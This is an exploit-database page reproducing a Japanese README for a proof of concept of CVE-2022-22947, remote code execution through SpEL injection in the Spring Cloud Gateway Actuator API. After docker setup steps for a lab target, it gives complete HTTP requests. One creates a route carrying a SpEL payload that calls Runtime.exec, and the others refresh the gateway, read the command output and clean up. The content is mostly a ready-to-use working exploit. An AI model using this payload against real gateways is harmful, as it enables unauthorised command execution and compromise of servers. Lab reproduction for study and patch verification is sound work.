Sploitus

Exploit for cve-2022-22947 CVE-2022-22947

kitploit · 2026-08-30

Exploit Code

MARKDOWN140 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TWSEPTIAN-CVE-2022-22947
# Spring Cloud Gateway Actuator API SpELコードインジェクション (CVE-2022-22947)

## ビルド

root@kitploit:~
    
    
    $ git clone https://github.com/twseptian/cve-2022-22947.git
    $ cd cve-2022-22947
    $ docker build . -t cve-2022-22947
    $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947
    

![Docker実行](https://assets.kitploit.com/production/public/readmes/33763/160d0d30acb9b9616648ad317a27ff5553e491f78b0905c887f9e584ad7df153.png)

![ブラウザで実行](https://assets.kitploit.com/production/public/readmes/33763/a7f9e99465cd53318f50e7708b5e008495ac25cd68f9669b8b9e0e2a4836e6ea.png)

## PoC

  * 次のリクエストを送信して、SpEL式を含むルーターを追加します（この例では `id` の実行を試みています）



root@kitploit:~
    
    
    POST /actuator/gateway/routes/test123 HTTP/1.1
    Host: 172.17.0.2:9000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/json
    Content-Length: 340
    
    {
      "id": "test123",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
        }
      }],
      "uri": "http://example.com",
    "order":0
    }
    

![ルート test123 を作成](https://assets.kitploit.com/production/public/readmes/33763/69bc7d8b4666ae57f9a26b30a05bae7ddddf3c0805fac1a8d60543b2b7e36cd3.png)

  * ゲートウェイをリフレッシュしてSpEL式を実行します



root@kitploit:~
    
    
    POST /actuator/gateway/refresh HTTP/1.1
    Host: 172.17.0.2:9000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    

![アプリケーションをリフレッシュ](https://assets.kitploit.com/production/public/readmes/33763/c8e6b9b0717b027a4ae0b348afeead40d360db6e1782036ba1f66a2bac7ab680.png)

  * `id` 情報を取得するリクエストを送信します



root@kitploit:~
    
    
    GET /actuator/gateway/routes/test123 HTTP/1.1
    Host: 172.17.0.2:9000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 
    

![アプリケーションの取得/実行](https://assets.kitploit.com/production/public/readmes/33763/6275e55bcd46c6aa8d64788d3a1c59058450984aab6a4d686583743dc93fe745.png)

  * `DELETE` リクエストでSpEL式を削除します



root@kitploit:~
    
    
    DELETE /actuator/gateway/routes/test123 HTTP/1.1
    Host: 172.17.0.2:9000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    

![アプリケーションを削除](https://assets.kitploit.com/production/public/readmes/33763/42d0a43b74f7a05a5ed19594ef2fe1700fc89a1991c0c7d53fee1a0d8bf27544.png)

  * ゲートウェイをリフレッシュします



root@kitploit:~
    
    
    POST /actuator/gateway/refresh HTTP/1.1
    Host: 172.17.0.2:9000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    

![アプリケーションをリフレッシュ](https://assets.kitploit.com/production/public/readmes/33763/c8e6b9b0717b027a4ae0b348afeead40d360db6e1782036ba1f66a2bac7ab680.png)

## 参考文献:

  * CVE-2022-22947: SPELキャスティングと邪悪なビーンズ
  * 自分でSSRFを持ち込め – ゲートウェイアクチュエータ
  * Spring Cloud Gateway Actuator API SpELコードインジェクション (CVE-2022-22947)
  * Spring Gatewayデモ